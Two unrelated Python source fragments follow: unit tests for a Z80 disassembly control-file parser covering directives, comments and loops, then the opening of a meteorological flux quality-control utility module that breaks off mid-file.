test_equ_directives(self): ctl = """ @ 50000 equ=ATTRS=22528 c 50000 Routine at 50000 @ 50001 equ=UDG=23675 """ exp_entry_directives = { 50000: ['equ=ATTRS=22528'], } exp_instruction_directives = { 50001: ['equ=UDG=23675'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_expand_directives(self): ctl = """ @ 32768 expand=#LET(a=2) c 32768 Routine at 32768 @ 32769 expand=#DEFINE2(MOD,#EVAL({0}%{1})) """ exp_entry_directives = { 32768: ['expand=#LET(a=2)'] } exp_instruction_directives = { 32769: ['expand=#DEFINE2(MOD,#EVAL({0}%{1}))'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_if_directives(self): ctl = """ @ 40000 if({asm})(replace=/foo/bar) c 40000 Routine at 40000 @ 40001 if({case}==1)(replace=/FOO/foo) """ exp_entry_directives = { 40000: ['if({asm})(replace=/foo/bar)'] } exp_instruction_directives = { 40001: ['if({case}==1)(replace=/FOO/foo)'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_ignoreua_directives(self): ctl = """ @ 30000 ignoreua:t c 30000 Routine at 30000 c 30001 Routine @ 30001 ignoreua:d D 30001 Description of the routine at 30001 @ 30001 ignoreua:r R 30001 HL 30001 @ 30001 ignoreua 30001 Instruction-level comment at 30001 c 30002 Routine @ 30003 ignoreua:m N 30003 Mid-block comment above 30003. @ 30003 ignoreua:i 30003 Instruction-level comment at 30003 c 30004 Routine @ 30004 ignoreua:i 30004,1 Instruction-level comment at 30004 @ 30005 ignoreua:m N 30005 Mid-block comment above 30005. @ 30004 ignoreua:e E 30004 End comment for the routine at 30004. """ blocks = self._get_ctl_parser(ctl).get_blocks() exp_entry_directives = { 30000: {'t': ''}, 30001: {'d': '', 'r': ''}, 30002: {}, 30004: {'e': ''} } exp_other_directives = { 30000: {}, 30001: {'i': ''}, 30003: {'i': '', 'm': ''}, 30004: {'i': ''}, 30005: {'m': ''} } self._check_ignoreua_directives(exp_entry_directives, exp_other_directives, blocks) def test_ignoreua_directives_with_values(self): ctl = """ @ 30000 ignoreua:t=30000 c 30000 Routine at 30000 c 30001 Routine @ 30001 ignoreua:d=30001 D 30001 Description of the routine at 30001 @ 30001 ignoreua:r=30001 R 30001 HL 30001 @ 30001 ignoreua=30000,30001 30001 Instruction-level comment at 30001 c 30002 Routine @ 30003 ignoreua:m=30003 N 30003 Mid-block comment above 30003. @ 30003 ignoreua:i=30002,30003 30003 Instruction-level comment at 30003 c 30004 Routine @ 30004 ignoreua:i=30004 30004,1 Instruction-level comment at 30004 @ 30005 ignoreua:m=30005 N 30005 Mid-block comment above 30005. @ 30004 ignoreua:e=30000,30004 E 30004 End comment for the routine at 30004. """ blocks = self._get_ctl_parser(ctl).get_blocks() exp_entry_directives = { 30000: {'t': '=30000'}, 30001: {'d': '=30001', 'r': '=30001'}, 30002: {}, 30004: {'e': '=30000,30004'} } exp_other_directives = { 30000: {}, 30001: {'i': '=30000,30001'}, 30003: {'i': '=30002,30003', 'm': '=30003'}, 30004: {'i': '=30004'}, 30005: {'m': '=30005'} } self._check_ignoreua_directives(exp_entry_directives, exp_other_directives, blocks) def test_isub_directives(self): ctl = """ @ 40000 isub=LD A,1 c 40000 Routine at 40000 @ 40002 isub=LD A,2 """ exp_entry_directives = { 40000: [] } exp_instruction_directives = { 40000: ['isub=LD A,1'], 40002: ['isub=LD A,2'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_keep_directives(self): ctl = """ @ 50000 keep c 50000 Routine at 50000 @ 50003 keep """ exp_entry_directives = { 50000: [] } exp_instruction_directives = { 50000: ['keep'], 50003: ['keep'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_label_directives(self): ctl = """ @ 60000 label=START c 60000 Routine at 60000 @ 60003 label=LOOP """ exp_entry_directives = { 60000: [] } exp_instruction_directives = { 60000: ['label=START'], 60003: ['label=LOOP'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_nowarn_directives(self): ctl = """ @ 40000 nowarn c 40000 Routine at 40000 @ 40003 nowarn """ exp_entry_directives = { 40000: [] } exp_instruction_directives = { 40000: ['nowarn'], 40003: ['nowarn'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_ofix_directives(self): ctl = """ @ 50000 ofix=LD HL,12345 c 50000 Routine at 50000 @ 50003 ofix=CALL 34567 """ exp_entry_directives = { 50000: [] } exp_instruction_directives = { 50000: ['ofix=LD HL,12345'], 50003: ['ofix=CALL 34567'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_org_directives(self): ctl = """ @ 60000 org=60000 c 60000 Routine at 60000 @ 60001 org """ exp_entry_directives = { 60000: ['org=60000'], } exp_instruction_directives = { 60001: ['org'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_refs_directives(self): ctl = """ @ 30000 refs=40000:60000 c 30000 Routine at 30000 @ 30001 refs=40000,50000 """ exp_entry_directives = { 30000: [] } exp_instruction_directives = { 30000: ['refs=40000:60000'], 30001: ['refs=40000,50000'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_rem_directives(self): ctl = """ @ 30000 rem=It begins c 30000 Routine at 30000 @ 30010 rem=It ends """ exp_entry_directives = { 30000: [] } exp_instruction_directives = { 30000: ['rem=It begins'], 30010: ['rem=It ends'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_remote_directives(self): ctl = """ @ 32768 remote=main:29012,29015 c 32768 Routine at 32768 @ 32769 remote=start:20112 """ exp_entry_directives = { 32768: ['remote=main:29012,29015'] } exp_instruction_directives = { 32769: ['remote=start:20112'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_replace_directives(self): ctl = """ @ 40000 replace=/foo/bar c 40000 Routine at 40000 @ 40001 replace=/baz/qux """ exp_entry_directives = { 40000: ['replace=/foo/bar'], } exp_instruction_directives = { 40001: ['replace=/baz/qux'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_rfix_directives(self): ctl = """ @ 50000 rfix=LD BC,0 c 50000 Routine at 50000 @ 50002 rfix=LD HL,0 """ exp_entry_directives = { 50000: [] } exp_instruction_directives = { 50000: ['rfix=LD BC,0'], 50002: ['rfix=LD HL,0'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_rsub_directives(self): ctl = """ @ 60000 rsub=LD DE,0 c 60000 Routine at 60000 @ 60002 rsub=LD IX,0 """ exp_entry_directives = { 60000: [] } exp_instruction_directives = { 60000: ['rsub=LD DE,0'], 60002: ['rsub=LD IX,0'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_set_directives(self): ctl = """ @ 30000 set-crlf=1 c 30000 Routine at 30000 @ 30001 set-tab=1 """ exp_entry_directives = { 30000: ['set-crlf=1'], } exp_instruction_directives = { 30001: ['set-tab=1'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_ssub_directives(self): ctl = """ @ 40000 ssub=INC HL c 40000 Routine at 60000 @ 40001 ssub=INC BC """ exp_entry_directives = { 40000: [] } exp_instruction_directives = { 40000: ['ssub=INC HL'], 40001: ['ssub=INC BC'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_start_directives(self): ctl = """ @ 50000 start c 50000 Routine at 50000 @ 50001 start """ exp_entry_directives = { 50000: ['start'], } exp_instruction_directives = { 50001: ['start'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_writer_directives(self): ctl = """ @ 60000 writer=x.y.z c 60000 Routine at 60000 @ 60001 writer=foo.bar.baz """ exp_entry_directives = { 60000: ['writer=x.y.z'], } exp_instruction_directives = { 60001: ['writer=foo.bar.baz'] } self._test_asm_directives(ctl, exp_entry_directives, exp_instruction_directives) def test_order_of_entry_asm_directives_is_preserved(self): ctl = """ @ 30000 start @ 30000 equ=ATTRS=22528 @ 30000 replace=/foo/bar @ 30000 replace=/baz/qux c 30000 Routine at 30000 """ blocks = self._get_ctl_parser(ctl).get_blocks() exp_entry_directives = { 30000: ['start', 'equ=ATTRS=22528', 'replace=/foo/bar', 'replace=/baz/qux'] } self._check_entry_asm_directives(exp_entry_directives, blocks) def test_header_block(self): ctl = """ > 60000 ; This is a header. c 60000 Routine """ exp_headers = {60000: ['; This is a header.']} exp_footers = {60000: ()} blocks = self._get_ctl_parser(ctl).get_blocks() self._check_headers(exp_headers, blocks) self._check_footers(exp_footers, blocks) def test_two_header_blocks(self): ctl = """ > 30000 ; This is a header. > 30000 > 30000 ; This is another header. c 30000 Routine """ exp_headers = { 30000: [ '; This is a header.', '', '; This is another header.' ] } exp_footers = {30000: ()} blocks = self._get_ctl_parser(ctl).get_blocks() self._check_headers(exp_headers, blocks) self._check_footers(exp_footers, blocks) def test_header_block_containing_asm_data_directives(self): ctl = """ > 60000 @defb=1 > 60000 @defs=2 > 60000 @defw=3 c 60000 Routine """ exp_headers = {60000: ['@defb=1', '@defs=2', '@defw=3']} exp_footers = {60000: ()} exp_asm_data_directives = {60000: ['defb=1', 'defs=2', 'defw=3']} blocks = self._get_ctl_parser(ctl).get_blocks() self._check_headers(exp_headers, blocks) self._check_footers(exp_footers, blocks) self._check_asm_data_directives(exp_asm_data_directives, blocks) def test_header_block_unaffected_by_dot_directives(self): ctl = """ > 40000 ; This is the start of the header. . This is an intervening dot directive. > 40000 ; This is the end of the header. . Another dot directive to ignore. c 40000 Routine """ exp_headers = { 40000: [ '; This is the start of the header.', '; This is the end of the header.' ] } blocks = self._get_ctl_parser(ctl).get_blocks() self._check_headers(exp_headers, blocks) def test_footer_block(self): ctl = """ c 50000 Routine > 50000,1 ; This is a footer. """ exp_headers = {50000: ()} exp_footers = {50000: ['; This is a footer.']} blocks = self._get_ctl_parser(ctl).get_blocks() self._check_headers(exp_headers, blocks) self._check_footers(exp_footers, blocks) def test_two_footer_blocks(self): ctl = """ c 60000 Routine > 60000,1 ; This is a footer. > 60000,1 > 60000,1 ; This is another footer. """ exp_headers = {60000: ()} exp_footers = { 60000: [ '; This is a footer.', '', '; This is another footer.' ] } blocks = self._get_ctl_parser(ctl).get_blocks() self._check_headers(exp_headers, blocks) self._check_footers(exp_footers, blocks) def test_footer_block_containing_asm_data_directives(self): ctl = """ c 60000 Routine > 60000,1 @defb=1 > 60000,1 @defs=2 > 60000,1 @defw=3 """ exp_headers = {60000: ()} exp_footers = {60000: ['@defb=1', '@defs=2', '@defw=3']} exp_asm_data_directives = {60000: ['defb=1', 'defs=2', 'defw=3']} blocks = self._get_ctl_parser(ctl).get_blocks() self._check_headers(exp_headers, blocks) self._check_footers(exp_footers, blocks) self._check_asm_data_directives(exp_asm_data_directives, blocks) def test_footer_block_unaffected_by_dot_directives(self): ctl = """ c 40000 Routine > 40000,1 ; This is the start of the footer. . This is an intervening dot directive. > 40000,1 ; This is the end of the footer. . Another dot directive to ignore. """ exp_footers = { 40000: [ '; This is the start of the footer.', '; This is the end of the footer.' ] } blocks = self._get_ctl_parser(ctl).get_blocks() self._check_footers(exp_footers, blocks) def test_registers(self): ctl = """ c 40000 Routine R 40000 BC Important value R 40000 DE R 40000 R 40000 HL Another important value """ ctl_parser = self._get_ctl_parser(ctl) blocks = ctl_parser.get_blocks() self.assertEqual(len(blocks), 1) exp_registers = [ ['BC Important value'], ['DE'], [''], ['HL Another important value'] ] self.assertEqual(exp_registers, blocks[0].registers) def test_N_directive(self): ctl = """ c 40000 Routine D 40000 Description. N 40000 Paragraph 1. N 40000 Paragraph 2. N 40001 Mid-routine comment. """ ctl_parser = self._get_ctl_parser(ctl) blocks = ctl_parser.get_blocks() self.assertEqual(len(blocks), 1) self.assertEqual([['Description.']], blocks[0].description) sub_blocks = blocks[0].blocks self.assertEqual(len(sub_blocks), 2) self.assertEqual([['Paragraph 1.'], ['Paragraph 2.']], sub_blocks[0].header) self.assertEqual([['Mid-routine comment.']], sub_blocks[1].header) def test_M_directive_terminates_previous_sub_block(self): ctl = """ c 65533 65533 This sub-block is terminated by the following M directive M 65534,2 This spans an implicit "C" sub-block and a "B" sub-block B 65535,1 """ ctl_parser = self._get_ctl_parser(ctl) blocks = ctl_parser.get_blocks() self.assertEqual(len(blocks), 1) sub_blocks = blocks[0].blocks exp_subctls = { 65533: ('c', [(0, 'This sub-block is terminated by the following M directive')], None), 65534: ('c', (), (65536, [(0, 'This spans an implicit "C" sub-block and a "B" sub-block')])), 65535: ('b', [(0, '')], None) } subctls = {b.start:(b.ctl, b.comment, b.multiline_comment) for b in sub_blocks} self.assertEqual(exp_subctls, subctls) def test_M_directive_followed_by_sub_block_with_sublengths(self): ctl = """ b 40000 Data M 40000 This spans a "B" sub-block with sublengths and a "W" sub-block B 40000,3,2,1 W 40003,2 i 40005 """ ctl_parser = self._get_ctl_parser(ctl) blocks = ctl_parser.get_blocks() self.assertEqual(len(blocks), 2) sub_blocks = blocks[0].blocks exp_subctls = { 40000: ('b', (40005, [(0, 'This spans a "B" sub-block with sublengths and a "W" sub-block')])), 40002: ('b', None), 40003: ('w', None) } subctls = {b.start:(b.ctl, b.multiline_comment) for b in sub_blocks} self.assertEqual(exp_subctls, subctls) def test_loop(self): start = 30000 length = 25 count = 2 end = start + length * count ctl = """ @ 30000 start @ 30000 org=30000 c 30000 This entry should not be repeated D 30000 This entry description should not be repeated R 30000 HL This register should not be repeated 30000,5 Begin B 30005,5,1,2 N 30010 A mid-block comment M 30010,10 A multi-line comment S 30010,6 W 30016,4,4 @ 30020 label=END T 30020,5,4:n1 End E 30000 This end comment should not be repeated L {},{},{} """.format(start, length, count) ctl_parser = self._get_ctl_parser(ctl) blocks = ctl_parser.get_blocks() self.assertEqual(len(blocks), 1) block = blocks[0] sub_blocks = block.blocks sub_block_map = {b.start: b for b in sub_blocks} # Check B, C, S, T and W sub-blocks i = 0 exp_subctls = {} exp_sublengths = {} for a in range(start, end, length): for offset, subctl, sublengths in ( (0, 'c', ((0, 'n'),)), (5, 'b', ((1, 'n'),)), (6, 'b', ((2, 'n'),)), (10, 's', ((0, 'n'),)), (16, 'w', ((4, 'n'),)), (20, 't', ((4, 'c'), (1, 'n')),), (25, 'c', ((0, 'n'),)) ): address = a + offset exp_subctls[address] = subctl exp_sublengths[address] = sublengths i += 1 self._check_subctls(exp_subctls, blocks) self._check_sublengths(exp_sublengths, blocks) # Check mid-block comments offset = 10 for a in range(start + offset, end, length): self.assertEqual([['A mid-block comment']], sub_block_map[a].header) # Check multi-line comments offset = 10 for a in range(start + offset, end, length): self.assertEqual((a + offset, [(0, 'A multi-line comment')]), sub_block_map[a].multiline_comment) # Check entry-level directives (c, D, E, R) self._check_ctls({start: 'c'}, blocks) self.assertEqual([['This entry description should not be repeated']], block.description) self.assertEqual([['HL This register should not be repeated']], block.registers) self.assertEqual([['This end comment should not be repeated']], block.end_comment) # Check entry-level ASM directives self.assertEqual(['start', 'org=30000'], block.asm_directives) # Check instruction-level ASM directives exp_directives = {start + 20: ['label=END']} self._check_instruction_asm_directives(exp_directives, blocks) def test_loop_including_entries(self): start = 40000 length = 25 count = 3 end = start + length * count ctl = """ @ 40000 start @ 40000 org=40000 c 40000 This entry should be repeated D 40000 This entry description should be repeated R 40000 HL This register should be repeated 40000,5 Begin B 40005,5,1,2 N 40010 A mid-block comment M 40010,10 A multi-line comment S 40010,6 W 40016,4,4 @ 40020 label=END T 40020,5,4:n1 End E 40000 This end comment should be repeated L {},{},{},1 """.format(start, length, count) ctl_parser = self._get_ctl_parser(ctl) blocks = ctl_parser.get_blocks() sub_block_map = {s.start: s for b in blocks for s in b.blocks} # Check B, C, S, T and W sub-blocks i = 0 exp_subctls = {} exp_sublengths = {} for a in range(start, end, length): sub_blocks = blocks[i].blocks for offset, subctl, sublengths in ( (0, 'c', ((0, 'n'),)), (5, 'b', ((1, 'n'),)), (6, 'b', ((2, 'n'),)), (10, 's', ((0, 'n'),)), (16, 'w', ((4, 'n'),)), (20, 't', ((4, 'c'), (1, 'n')),), (25, 'c', ((0, 'n'),)) ): address = a + offset exp_subctls[address] = subctl exp_sublengths[address] = sublengths i += 1 self._check_subctls(exp_subctls, blocks) self._check_sublengths(exp_sublengths, blocks) # Check mid-block comments offset = 10 for a in range(start + offset, end, length): self.assertEqual([['A mid-block comment']], sub_block_map[a].header) # Check multi-line comments exp_multiline_comments = {} for a in range(start, end, length): for b in (0, 5, 6, 10, 16, 20, 25): address = a + b if b == 5: exp_multiline_comments[address] = (address + 3, [(0, '')]) elif b == 10: exp_multiline_comments[address] = (address + 10, [(0, 'A multi-line comment')]) else: exp_multiline_comments[address] = None self._check_multiline_comments(exp_multiline_comments, blocks) # Check entry-level directives (c, D, E, R) exp_ctls = {} exp_descriptions = {} exp_registers = {} exp_end_comments = {} for i, a in enumerate(range(start, end, length)): exp_ctls[a] = 'c' exp_descriptions[a] = [['This entry description should be repeated']] exp_registers[a] = [['HL This register should be repeated']] exp_end_comments[a] = [['This end comment should be repeated']] self._check_ctls(exp_ctls, blocks) self._check_descriptions(exp_descriptions, blocks) self._check_registers(exp_registers, blocks) self._check_end_comments(exp_end_comments, blocks) # Check entry-level ASM directives self.assertEqual(['start', 'org=40000'], blocks[0].asm_directives) for block in blocks[1:]: self.assertEqual([], block.asm_directives) # Check instruction-level ASM directives exp_directives = {start + 20: ['label=END']} self._check_instruction_asm_directives(exp_directives, blocks) def test_loop_crossing_64k_boundary(self): ctl = """ u 65532 W 65532,2 L 65532,2,3 """ ctl_parser = self._get_ctl_parser(ctl) warnings = self.err.getvalue().split('\n') # Check warning self.assertEqual(warnings[0], 'WARNING: Loop crosses 64K boundary:') self.assertEqual(warnings[1], 'L 65532,2,3') # Check that the W sub-block is repeated anyway exp_subctls = {65532: 'w', 65534: 'w'} self._check_subctls(exp_subctls, ctl_parser.get_blocks()) def test_loop_with_entries_crossing_64k_boundary(self): ctl = """ b 65534 L 65534,1,4,1 """ ctl_parser = self._get_ctl_parser(ctl) warnings = self.err.getvalue().split('\n') # Check warning self.assertEqual(warnings[0], 'WARNING: Loop crosses 64K boundary:') self.assertEqual(warnings[1], 'L 65534,1,4,1') # Check that there is no block that starts past the boundary blocks = ctl_parser.get_blocks() self.assertEqual(blocks[-1].start, 65535) def test_loop_is_trimmed_by_max_address(self): ctl = """ b 30000 N 30000 A comment M 30000,10 Some bytes and text B 30000,5 T 30005,5,4:n1 B 30010,10 Some more bytes L 30000,20,3 """ blocks = self._get_ctl_parser(ctl, max_address=30040).get_blocks() exp_subctls = { 30000: 'b', 30005: 't', 30010: 'b', 30020: 'b', 30025: 't', 30030: 'b' } self._check_subctls(exp_subctls, blocks) exp_mid_block_comments = { 30000: [['A comment']], 30005: (), 30010: (), 30020: [['A comment']], 30025: (), 30030: () } self._check_mid_block_comments(exp_mid_block_comments, blocks) exp_instruction_comments = { 30000: [(0, '')], 30005: [(0, '')], 30010: [(0, 'Some more bytes')], 30020: [(0, '')], 30025: [(0, '')], 30030: [(0, 'Some more bytes')] } self._check_instruction_comments(exp_instruction_comments, blocks) exp_multiline_comments = { 30000: (30010, [(0, 'Some bytes and text')]), 30005: None, 30010: None, 30020: (30030, [(0, 'Some bytes and text')]), 30025: None, 30030: None, } self._check_multiline_comments(exp_multiline_comments, blocks) exp_sublengths = { 30000: ((0, 'n'),), 30005: ((4, 'c'), (1, 'n')), 30010: ((0, 'n'),), 30020: ((0, 'n'),), 30025: ((4, 'c'), (1, 'n')), 30030: ((0, 'n'),) } self._check_sublengths(exp_sublengths, blocks) def test_loop_with_entries_is_trimmed_by_max_address(self): ctl = """ b 30000 A block of bytes D 30000 This is a block of bytes R 30000 A 0 B 30000,5 T 30005,5 E 30000 The end L 30000,10,3,1 """ blocks = self._get_ctl_parser(ctl, max_address=30020).get_blocks() exp_ctls = { 30000: 'b', 30010: 'b' } self._check_ctls(exp_ctls, blocks) exp_subctls = { 30000: 'b', 30005: 't', 30010: 'b', 30015: 't' } self._check_subctls(exp_subctls, blocks) exp_descriptions = { 30000: [['This is a block of bytes']], 30010: [['This is a block of bytes']] } self._check_descriptions(exp_descriptions, blocks) exp_registers = { 30000: [['A 0']], 30010: [['A 0']] } self._check_registers(exp_registers, blocks) exp_end_comments = { 30000: [['The end']], 30010: [['The end']] } self._check_end_comments(exp_end_comments, blocks) def test_terminate_multiline_comments(self): ctl = """ c 30000 M 30000 No length specified, should end at 30002 c 30002 M 30002 No length specified, should end at 30003 N 30003 This comment implicitly terminates the M directive above c 30004 M 30004,5 Excessive length specified, should end at 30006 c 30006 M 30006,2 Excessive length specified, should end at 30007 N 30007 This comment implicitly terminates the M directive above c 30008 """ blocks = self._get_ctl_parser(ctl).get_blocks() m_comment_end_map = {s.start: s.multiline_comment[0] for b in blocks for s in b.blocks if s.multiline_comment} exp_end_map = { 30000: 30002, 30002: 30003, 30004: 30006, 30006: 30007 } self.assertEqual(exp_end_map, m_comment_end_map) def test_dot_directive_with_entry_titles(self): ctl = """ b 30000 A title split . over two lines c 30100 A title . split over . three lines g 30200 One line, never wrapped . i 30300 One . Two s 30400 One . Two . Three t 30500 Another one-liner, never wrapped . u 30600 Not . used w 30700 Some . words ; Test a blank title with a blank continuation line b 30800 . c 30900 . Line 1 here g 31000 . Trailing blank line . i 31100 . . Leading blank line s 31200 . Title . . Description. . . A The accumulator . . Start comment. t 31300 . This title has . an indent on the second line """ exp_titles = { 30000: ['A title split', 'over two lines'], 30100: ['A title', 'split over', 'three lines'], 30200: ['One line, never wrapped', ''], 30300: ['One', 'Two'], 30400: ['One', 'Two', 'Three'], 30500: ['Another one-liner, never wrapped', ''], 30600: ['Not', 'used'], 30700: ['Some', 'words'], 30800: ['', ''], 30900: ['', 'Line 1 here'], 31000: ['', 'Trailing blank line', ''], 31100: ['', '', 'Leading blank line'], 31200: ['', 'Title', '', 'Description.', '', 'A The accumulator', '', 'Start comment.'], 31300: ['', 'This title has', ' an indent on the second line'] } blocks = self._get_ctl_parser(ctl).get_blocks() self._check_titles(exp_titles, blocks) def test_dot_directive_with_instruction_comments(self): ctl = """ b 30000 B 30000,1 Single instruction, . two comment lines C 30001,1 Single instruction, one comment line, never wrapped . S 30002,2,1 Two instructions, . two comment lines T 30004,2,1 Two instructions, . three comment . lines W 30006,2,2 Two instructions, one comment line, never wrapped . M 30010,2 Two instructions of different types, . two comment lines B 30010,1 S 30011,1 ; Test a blank comment with a blank continuation line B 30012,1 . C 30013,1 . Line 1 here S 30014,1 . Trailing blank line . T 30015,1 . . Leading blank line W 30016,2 . Line 1 . . Line 3 (with a blank line 2) B 30018,1 . This comment has . an indent on the second line """ blocks = self._get_ctl_parser(ctl).get_blocks() exp_instruction_comments = { 30000: [(0, 'Single instruction,'), (0, 'two comment lines')], 30001: [(0, 'Single instruction, one comment line, never wrapped'), (0, '')], 30002: [(0, 'Two instructions,'), (0, 'two comment lines')], 30004: [(0, 'Two instructions,'), (0, 'three comment'), (0, 'lines')], 30006: [(0, 'Two instructions, one comment line, never wrapped'), (0, '')], 30008: (), 30010: [(0, '')], 30011: [(0, '')], 30012: [(0, ''), (0, '')], 30013: [(0, ''), (0, 'Line 1 here')], 30014: [(0, ''), (0, 'Trailing blank line'), (0, '')], 30015: [(0, ''), (0, ''), (0, 'Leading blank line')], 30016: [(0, ''), (0, 'Line 1'), (0, ''), (0, 'Line 3 (with a blank line 2)')], 30018: [(0, ''), (0, 'This comment has'), (0, ' an indent on the second line')], 30019: () } self._check_instruction_comments(exp_instruction_comments, blocks) exp_multiline_comments = { 30000: None, 30001: None, 30002: None, 30004: None, 30006: None, 30008: None, 30010: (30012, [(0, 'Two instructions of different types,'), (0, 'two comment lines')]), 30011: None, 30012: None, 30013: None, 30014: None, 30015: None, 30016: None, 30018: None, 30019: None } self._check_multiline_comments(exp_multiline_comments, blocks) def test_dot_directive_with_entry_descriptions(self): ctl = """ b 40000 D 40000 This description . spans two lines. b 40001 Two 'D' directives D 40001 This description spans only one line even though it would normally be wrapped over two lines. . D 40001 . This description . spans three . lines. b 40002 D 40002 . Another long description that spans only one line but would normally be wrapped over two lines. b 40003 Test a blank description with a blank continuation line D 40003 . b 40004 D 40004 . Trailing blank line. . b 40005 D 40005 . . Leading blank line. b 40006 D 40006 . Paragraph 1. . . Paragraph 2. b 40007 D 40007 . This description has . an indented second line. """ exp_descriptions = { 40000: [['This description', 'spans two lines.']], 40001: [ ['This description spans only one line even though it would normally be wrapped over two lines.', ''], ['', 'This description', 'spans three', 'lines.'] ], 40002: [['', 'Another long description that spans only one line but would normally be wrapped over two lines.']], 40003: [['', '']], 40004: [['', 'Trailing blank line.', '']], 40005: [['', '', 'Leading blank line.']], 40006: [['', 'Paragraph 1.', '', 'Paragraph 2.']], 40007: [['', 'This description has', ' an indented second line.']] } blocks = self._get_ctl_parser(ctl).get_blocks() self._check_descriptions(exp_descriptions, blocks) def test_dot_directive_with_block_start_and_mid_block_comments(self): ctl = """ b 50000 N 50000 This comment . spans two lines. N 50000 This comment spans only one line even though it would normally be wrapped over two lines. . N 50001 . This comment . spans three . lines. N 50002 . Another long comment that spans only one line but would normally be wrapped over two lines. ; Test a blank comment with a blank continuation line N 50003 . N 50004 . Trailing blank line. . N 50005 . . Leading blank line. N 50006 . Paragraph 1. . . Paragraph 2. N 50007 . This comment has . an indented second line. """ exp_mid_block_comments = { 50000: [ ['This comment', 'spans two lines.'], ['This comment spans only one line even though it would normally be wrapped over two lines.', ''] ], 50001: [['', 'This comment', 'spans three', 'lines.']], 50002: [['', 'Another long comment that spans only one line but would normally be wrapped over two lines.']], 50003: [['', '']], 50004: [['', 'Trailing blank line.', '']], 50005: [['', '', 'Leading blank line.']], 50006: [['', 'Paragraph 1.', '', 'Paragraph 2.']], 50007: [['', 'This comment has', ' an indented second line.']] } blocks = self._get_ctl_parser(ctl).get_blocks() self._check_mid_block_comments(exp_mid_block_comments, blocks) def test_dot_directive_with_block_end_comments(self): ctl = """ b 50000 E 50000 This comment . spans two lines. E 50000 This comment spans only one line even though it would normally be wrapped over two lines. . b 50001 E 50001 . This comment . spans three . lines. b 50002 E 50002 . Another long comment that spans only one line but would normally be wrapped over two lines. b 50003 Test a blank comment with a blank continuation line E 50003 . b 50004 E 50004 . Trailing blank line. . b 50005 E 50005 . . Leading blank line. b 50006 E 50006 . Paragraph 1. . . Paragraph 2. b 50007 E 50007 . This comment has . an indented second line. """ exp_end_comments = { 50000: [ ['This comment', 'spans two lines.'], ['This comment spans only one line even though it would normally be wrapped over two lines.', ''] ], 50001: [['', 'This comment', 'spans three', 'lines.']], 50002: [['', 'Another long comment that spans only one line but would normally be wrapped over two lines.']], 50003: [['', '']], 50004: [['', 'Trailing blank line.', '']], 50005: [['', '', 'Leading blank line.']], 50006: [['', 'Paragraph 1.', '', 'Paragraph 2.']], 50007: [['', 'This comment has', ' an indented second line.']] } blocks = self._get_ctl_parser(ctl).get_blocks() self._check_end_comments(exp_end_comments, blocks) def test_dot_directive_with_registers(self): ctl = """ c 60000 R 60000 BC This description . spans two lines R 60000 DE This description spans only one line even though it would normally be wrapped over two lines . c 60001 R 60001 . HL This description . spans three . lines c 60002 R 60002 . A Another long description that spans only one line but would normally be wrapped over two lines c 60003 Test a blank register description with a blank continuation line R 60003 . c 60004 R 60004 . IX Trailing blank line . c 60005 R 60005 . . IY Leading blank line c 60006 R 60006 . SP . . Stack pointer c 60007 R 60007 . A Input . O:B Output """ exp_registers = { 60000: [ ['BC This description', 'spans two lines'], ['DE This description spans only one line even though it would normally be wrapped over two lines', ''] ], 60001: [['', 'HL This description', 'spans three', 'lines']], 60002: [['', 'A Another long description that spans only one line but would normally be wrapped over two lines']], 60003: [['', '']], 60004: [['', 'IX Trailing blank line', '']], 60005: [['', '', 'IY Leading blank line']], 60006: [['', 'SP', '', 'Stack pointer']], 60007: [['', ' A Input', 'O:B Output']] } blocks = self._get_ctl_parser(ctl).get_blocks() self._check_registers(exp_registers, blocks) def test_dot_directives_with_max_address(self): ctl = """ c 40000 C 40000,1 . Begin C 40001,1 . End """ exp_instruction_comments = { 40000: [ (0, ''), (0, 'Begin') ] } ctl_parser = self._get_ctl_parser(ctl, max_address=40001) blocks = ctl_parser.get_blocks() self._check_instruction_comments(exp_instruction_comments, blocks) def test_colon_directive(self): ctl = """ b 30000 B 30000,2,1 . The first two comment lines : belong to the first DEFB. . And these two comment lines : belong to the second DEFB. """ exp_instruction_comments = { 30000: [ (0, ''), (0, 'The first two comment lines'), (1, 'belong to the first DEFB.'), (0, 'And these two comment lines'), (1, 'belong to the second DEFB.') ], 30002: () } blocks = self._get_ctl_parser(ctl).get_blocks() self._check_instruction_comments(exp_instruction_comments, blocks)
codeparrot/github-code-clean
# the following line needed for unicode character in convert_anglestring # -*- coding: latin-1 -*- import ast import constants as c import copy import datetime import dateutil import logging import math import meteorologicalfunctions as mf import netCDF4 import numpy import os import platform import pytz import sys import time import Tkinter,tkSimpleDialog import xlrd import xlwt log = logging.getLogger('qc.utils') def bp(fx,tao): """ Function to calculate the b and p coeficients of the Massman frequency correction. """ bp = 2 * c.Pi * fx * tao return bp def cfkeycheck(cf,Base='Variables',ThisOne=[],key=[]): if len(ThisOne) == 0: return if len(key) == 0: if Base in cf.keys() and ThisOne in cf[Base].keys(): return ThisOne in cf[Base].keys() else: return else: if Base in cf.keys() and ThisOne in cf[Base].keys(): return key in cf[Base][ThisOne].keys() else: return def cfoptionskeylogical(cf,Key='',default=False): if 'Options' in cf: if Key in cf['Options']: returnValue = cf.get('Options').as_bool(Key) #if str(cf['Options'][Key]).lower()=="true" or str(cf['Options'][Key]).lower()=="yes": #returnValue = True #else: #returnValue = False else: returnValue = default else: returnValue = default return returnValue #def CheckQCFlags(ds): #""" 